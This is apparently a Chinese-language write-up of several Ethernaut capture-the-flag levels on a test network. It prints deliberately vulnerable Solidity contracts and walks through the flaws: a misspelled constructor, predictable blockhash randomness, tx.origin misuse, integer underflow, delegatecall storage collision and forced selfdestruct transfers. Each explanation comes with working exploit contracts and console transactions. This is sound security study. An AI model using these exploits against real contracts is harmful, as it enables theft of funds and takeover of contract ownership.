Hello Ethernaut

设置扩展程序的MetaMask,连接自己的MetaMask
打开控制台输入player即可看到玩家的地址
**help()**可以查看控制台还有什么功能

(index) Value
player ‘current player address’
ethernaut ‘main game contract’
level ‘current level contract address’
contract ‘current level contract instance (if created)’
instance ‘current level instance contract address (if created)’
version ‘current game version’
getBalance(address) ‘gets balance of address in ether’
getBlockNumber() ‘gets current network block number’
sendTransaction({options}) ‘send transaction util’
getNetworkId() ‘get ethereum network id’
toWei(ether) ‘convert ether units to wei’
fromWei(wei) ‘convert wei units to ether’
deployAllContracts() ‘Deploy all the remaining contracts on the current network.’
https://sepolia-faucet.pk910.de/
我是在上述水龙头网址输入自己的address,然后领取一些SepETH供开启新实例,不然没办法打开实例

Fallback

合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

OK,现在来分析这个合约

关键函数
  1. constructor() - 部署时设置部署者为owner,并给予1000 ether的贡献值
  2. contribute() - 接受小于0.001 ether的捐款
    • 如果捐款者累计贡献超过owner,可以成为新owner
  3. withdraw() - 只有owner可以提取合约内所有ETH
  4. receive() - 特殊的回退函数,当合约收到ETH时触发
    • 要求:msg.value > 0 且 contributions[msg.sender] > 0
    • 条件满足时,调用者直接成为owner

所以让我们先调用 contribute() 发送少量 ETH(小于 0.001 ETH).

1
await contract.contribute.sendTransaction({ value: 1 })

向合约捐赠 1 wei(小于 0.001 ETH),满足 contribute() 的入金限制。
然后在MetaMask上确认

1
await contract.sendTransaction({ value: 1 })

直接向合约地址转账 1 wei(任意正数均可).
这会触发合约的 receive() 函数,检查到 msg.value > 0 且 contributions[msg.sender] > 0,于是将 owner 设置为你的地址.
等待交易确认后,可通过 await contract.owner() 验证,返回了我的地址,所以现在我就是owner
然后调用withdraw()把钱取走

1
await contract.withdraw()

然后提交实例,他会提示我通过了!!
![[Pasted image 20260215163402.png]]
fallback / receive 触发机制

场景 会触发哪个函数
调用不存在函数,且没有 receive() fallback()
向合约地址发送 ETH(无 calldata) receive()
调用不存在函数,但有 calldata(不为空) fallback()
调用存在的普通函数 正常函数
ai对两者解释如下:

fallback 函数

是一个特殊的、未命名的外部函数,每个合约最多可以包含一个。它主要在两种情况下被触发:

  1. 合约收到纯 ETH 转账(没有 msg.data
  2. 调用的函数不存在于合约中
    从 Solidity 0.6.x 开始,fallback 功能被拆分为两个独立的特殊函数:
  • receive() external payable:专门处理纯 ETH 转账。
  • fallback() external payable:处理所有其他情况(函数不存在或 msg.data 非空)。

receive() 函数

  • 必须标记为 external 和 payable
  • 不能有参数,不能返回值。
  • 一个合约最多只能定义一个 receive 函数。
    触发条件
    当向合约发送 ETH 且交易数据为空msg.data.length == 0)时,receive 会被调用。例如:
  • 通过 send 或 transfer 发送 ETH(gas 固定 2300)。
  • 直接通过钱包向合约地址转账。
  • 调用 address.call{value: x}("")(空 calldata)。

Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;



import "openzeppelin-contracts-06/math/SafeMath.sol";



contract Fallout {

using SafeMath for uint256;



mapping(address => uint256) allocations;

address payable public owner;



/* constructor */

function Fal1out() public payable {

owner = msg.sender;

allocations[owner] = msg.value;

}



modifier onlyOwner() {

require(msg.sender == owner, "caller is not the owner");

_;

}



function allocate() public payable {

allocations[msg.sender] = allocations[msg.sender].add(msg.value);

}



function sendAllocation(address payable allocator) public {

require(allocations[allocator] > 0);

allocator.transfer(allocations[allocator]);

}



function collectAllocations() public onlyOwner {

msg.sender.transfer(address(this).balance);

}



function allocatorBalance(address allocator) public view returns (uint256) {

return allocations[allocator];

}

}

可以看到Fallout函数

漏洞在于构造函数名称拼写错误(Fal1out 而不是 Fallout

合约名是Fallout,但构造函数名是Fal1out(注意数字1代替了字母l)。

这里写了一个与合约名不同的函数Fal1out,实际上是普通的public payable函数,任何人都可以调用。所以,把自己设为owner即可!

1
2
3

await contract.owner()

查看合约当前的owner是谁

发现是零地址:0x0000000000000000000000000000000000000000

然后调用写错名字的那个Fal1out函数,这个函数虽然被注释为构造函数,但实际上是一个任何人都可以调用的公开函数,因为名字写错了!

因为是payable 类型,所以不需要发送任何以太币就可以把我设置为owner

1
2
3

await contract.Fal1out()

如果想把资金提取出来可以:

1
2
3

await contract.collectAllocations()

虽然里面没有资金

Coin Flip

核心是:利用区块哈希可预测性来伪造连续 10 次猜中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract CoinFlip {

uint256 public consecutiveWins;

uint256 lastHash;

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;



constructor() {

consecutiveWins = 0;

}



function flip(bool _guess) public returns (bool) {

uint256 blockValue = uint256(blockhash(block.number - 1));



if (lastHash == blockValue) {

revert();

}

lastHash = blockValue;



uint256 coinFlip =

blockValue / FACTOR;



bool side =

coinFlip == 1 ? true : false;



if (side == _guess) {

consecutiveWins++;

return true;

} else {

consecutiveWins = 0;

return false;

}

}

}

题目描述:

1
2
3

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

核心是:利用区块哈希可预测性来伪造连续 10 次猜中

1
2
3

uint256 public consecutiveWins;

记录玩家 连续猜对次数

通关条件:consecutiveWins == 10

1
2
3

uint256 lastHash;

记录 上一次使用的 blockhash

1
2
3
4
5
6
7

if (lastHash == blockValue) {

revert();

}

revert() 的作用是:回滚当前交易并恢复所有状态,同时返回错误

FACTOR被赋予了一个很大的数值,之后查看了一下发现是$2^{255}$

拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等

Exploit:
在Remix中部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface ICoinFlip {

    function flip(bool _guess) external returns (bool);

}

contract CoinFlipAttack {

    uint256 FACTOR =
    57896044618658097711785492504343953926634992332820282019728792003956564819968;

    ICoinFlip target =

    ICoinFlip(0xeDCed343B5F072cbD484F92163808e85220c96EA);

    function attack() public {

        uint256 blockValue =

        uint256(blockhash(block.number - 1));

        uint256 coinFlip =

        blockValue / FACTOR;

        bool side =

        coinFlip == 1;

        target.flip(side);
    }
}

攻击十次即可

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

可以看到

1
2
3
4
5
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}

msg.sender
当前函数 直接调用者
tx.origin
整个交易 最初发起者
让你调用合约之后保证msg.sender = tx.origin
但是这里可以通过中间合约调用让msg.sender != tx.origin

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract Attack {
function attack(address target) public {
Telephone(target).changeOwner(msg.sender);
}

}

在Remix中deploy一下,attack 实例的地址
就成功了!

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {

require(balances[msg.sender] - _value >= 0);

balances[msg.sender] -= _value;
balances[_to] += _value;

return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

}

这关主要考察的是整数下溢 即 Underflow

在 transfer 中通过 balances[msg.sender] - _value >= 0 判断余额是否充足,但 uint256 永远 ≥0,导致可通过发送大于余额的 token 触发整数下溢,使余额回绕为 2^256-1,从而获得大量 token。

为什么uint256会永远≥0:

Solidity 0.6.0 不会自动检查整数溢出,所以可以通过构造转账让余额变成一个超大的数。
什么是整数下溢:

整数下溢(Underflow) 指:

当一个整数 减去一个比自己大的数 时,结果低于该类型最小值,从而 发生回绕(wrap around)

就是uint256 的取值范围是:0 <= uint256 <= 2^256 - 1
如果计算 $0 - 1 = -1$ 但是uint256不允许负数,所以执行了$$0 - 1 = 2^{256} - 1$$这就是回绕
关键代码:

1
require(balances[msg.sender] - _value >= 0);

所以只需要向任意地址发送21个token,然后自己就变成了$2^{256} - 1$

1
2
3
await contract.transfer("0x0000000000000000000000000000000000000001", 21)

await contract.balanceOf(player)

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
1
2
3
fallback() external {  
(bool result,) = address(delegate).delegatecall(msg.data);
}

任何不存在的函数调用 都会进入 fallback 然后 delegatecall 到 Delegate 合约

这里解释一下fallback的作用:

fallback() 是一种 兜底函数

当我调用了 不存在的函数
例如:

1
2
contract A {  
}

如果你调用:

1
A.test()

因为 test() 不存在,那么fallback() 就被触发

所以在这道题中:
如果有人调用不存在的函数,那么fallback触发,就把调用数据转发给 delegate 合约

查了一下delegatecall的作用:

delegatecall 是 EVM 的一种 低级调用方式

普通调用:

1
A -> call -> B

执行环境:

1
2
3
代码:B  
storage:B
msg.sender:A

delegatecall

1
A -> delegatecall -> B

执行环境:

1
2
3
代码:B  
storage:A
msg.sender:原调用者

总结:

1
delegatecall = 用别人的代码  改自己的变量

当执行:

1
delegatecall(delegate)

执行的是:
Delegate 的代码
但是修改的是:

1
Delegation 的 storage

例如 Delegate 代码:

1
owner = msg.sender;

正常情况下:

1
Delegate.owner = msg.sender

但是 delegatecall 时:

1
slot0 = msg.sender

而 slot0 在 Delegation 里是:

1
Delegation.owner

所以结果变成:

1
Delegation.owner = msg.sender

这就是 权限接管漏洞

言归正传:

输入:

1
keccak256("pwn()")

因为直接调用pwn(),发送到链上的数据不是字符串,而是function selector + 参数

selector = keccak256(“函数名(参数)”) 取前 4字节0xdd365b8b
所以调用:pwn() 实际上发送的是:0xdd365b8b
但是这里我输入keccak256(“pwn()”) 是因为浏览器控制台没有 keccak256 这个函数
所以在Remix 中输入
web3.utils.keccak256("pwn()")去查一下
0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
取前4字节即可
然后执行:

1
2
3
await contract.sendTransaction({
data: "0xdd365b8b"
})

即可通关

这里看到一个存储碰撞

Storage Collision(存储碰撞)
Solidity 的变量 不是按变量名存储,而是按 slot(槽)顺序存储
例如:

1
2
3
4
contract A {  
address public owner;
uint public value;
}

storage 布局:

1
2
slot0 -> owner  
slot1 -> value

现在另一个合约:

1
2
3
4
contract B {  
uint public number;
address public admin;
}

storage:

1
2
slot0 -> number  
slot1 -> admin

当 A 使用:

1
delegatecall(B)

执行环境变成:

1
2
代码: B  
storage: A

也就是说:
B 代码写的是:

1
admin = msg.sender;

但是写入的是 : slot1
而 A 的 slot1 是:value, 所以A.value 被改
这就是 storage collision

Force

题目描述

1
2
3
4
5
6
7
8
9
有些合约就是拒绝你的付款,就是这么任性 `¯\_(ツ)_/¯`

这一关的目标是使合约的余额大于0

  这可能有帮助:

- Fallback 方法
- 有时候攻击一个合约最好的方法是使用另一个合约.
- 阅读上方的帮助页面, ["Beyond the console"](https://ethernaut.openzeppelin.com/help) 部分
1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

合约“拒收 ETH” ≠ 无法被强制转账

fallback / receive 并不是必须执行的,可以通过绕过fallback
Solidity 有个非常“霸道”的机制:

1
selfdestruct(address payable to)

它的作用是:
销毁当前合约,把余额强制发送给目标地址,而且不会调用目标合约的 fallback / receive

这一关的目标是使合约的余额大于0
但是它没有payable/receive/fallback函数,根本正常打钱不了

所以我们可以写一个合约自爆给force送钱

1
2
3
4
5
6
7
8
9
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    constructor() payable {}
    function attack(address payable target) public {
        selfdestruct(target);
    }
}